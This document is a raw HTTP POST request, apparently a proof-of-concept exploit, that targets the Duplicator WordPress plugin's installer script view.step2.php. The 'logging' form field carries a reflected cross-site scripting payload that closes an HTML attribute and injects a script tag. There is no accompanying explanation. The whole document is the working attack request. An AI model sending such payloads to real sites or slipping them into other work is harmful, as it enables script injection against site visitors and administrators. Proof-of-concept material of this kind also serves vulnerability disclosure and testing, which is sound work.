POST /wordpress//wp-content/plugins/duplicator/installer/build/view.step2.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: es-ES,es;q=0.8 Cookie: Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 37 logging="><script>alert(1)</script>demo